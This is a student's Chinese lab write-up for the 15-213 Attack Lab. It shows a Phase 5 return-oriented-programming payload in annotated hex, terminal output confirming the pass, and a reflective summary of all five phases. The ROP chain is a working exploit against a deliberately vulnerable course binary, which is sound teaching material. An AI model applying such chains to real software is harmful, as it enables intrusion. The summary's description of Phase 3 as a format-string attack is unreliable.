1500 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
// 以上代码填满整个缓冲区以致溢出
94 21 40 00 00 00 00 00 //movq %rsp,%rax
cf 20 40 00 00 00 00 00 //movq %rax,%rdi
ef 20 40 00 00 00 00 00 //popq %rax
48 00 00 00 00 00 00 00 //偏移值
ea 21 40 00 00 00 00 00 //movl %eax,%edx
b4 21 40 00 00 00 00 00 //movl %edx,%ecx
a9 21 40 00 00 00 00 00 //movl %ecx,%esi
16 21 40 00 00 00 00 00 //lea (%rsi,%rdi,1) %rax
cf 20 40 00 00 00 00 00 //movq %rax,%rdi
05 20 40 00 00 00 00 00 //touch3的起始地址
31 37 35 66 37 35 62 63 00 //cookie字符串发起总攻:
1
2
3
4
5
6
7
8
9
10
11ouc@islouc-vm:~/Desktop/target393$ ./hex2raw < level5.txt > level5raw.txt
ouc@islouc-vm:~/Desktop/target393$ ./rtarget -qi level5raw.txt
Cookie: 0x175f75bc
Touch3!: You called touch3("175f75bc")
Valid solution for level 3 with target rtarget
PASS: Would have posted the following:
user id 22090001016
course 15213-f15
lab attacklab
result 393:PASS:0xffffffff:rtarget:3:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 94 21 40 00 00 00 00 00 CF 20 40 00 00 00 00 00 EF 20 40 00 00 00 00 00 48 00 00 00 00 00 00 00 EA 21 40 00 00 00 00 00 B4 21 40 00 00 00 00 00 A9 21 40 00 00 00 00 00 16 21 40 00 00 00 00 00 CF 20 40 00 00 00 00 00 05 20 40 00 00 00 00 00 31 37 35 66 37 35 62 63 00
四、实验结果:
· Phase 1
· Phase 2
· Phase 3
· Phase 4
· Phase 5
五、实验总结:
Attack Lab的完成过程让我深入学习了计算机安全领域的基本概念和实践技能。以下是我在每个关卡中的经验与心得:
第一关(Phase 1):
通过使用
hex2raw
将文本数据转换为二进制形式,我成功利用ctarget
攻击了目标,触发了touch1()
函数。这一关让我了解了如何利用栈溢出漏洞,并初步认识了二进制攻击的原理。第二关(Phase 2):
利用程序中的栈溢出漏洞,我成功触发了
touch2(0x175f75bc)
函数。这一关深化了我对栈溢出攻击的理解,学到了如何操纵程序的执行流程,实现对指定函数的调用。第三关(Phase 3):
通过利用字符串格式化漏洞,我成功触发了
touch3("175f75bc")
函数。这一关让我更深入地了解了格式化字符串攻击的原理,对不同类型的漏洞有了更全面的认识。第四关(Phase 4):
利用Return-Oriented Programming (ROP)攻击技术,我成功触发了
touch2(0x175f75bc)
函数。深入了解ROP攻击,了解了在没有执行可执行代码的情况下实现攻击的方法,对于更高级的攻击技术有了一定了解。第五关(Phase 5):
通过ROP攻击成功触发了
touch3("175f75bc")
函数。这一关让我更深入地掌握了ROP攻击技术,对于构建ROP链和在实际攻击中如何利用已有的程序片段有了更深入的认识。总的来说,Attack Lab为我提供了一个深入了解计算机安全领域的机会。通过实际的攻击任务,我不仅学到了各种攻击技术,还提高了解决问题和调试程序的能力。这次实验为我未来深入学习和从事计算机安全领域奠定了坚实的基础。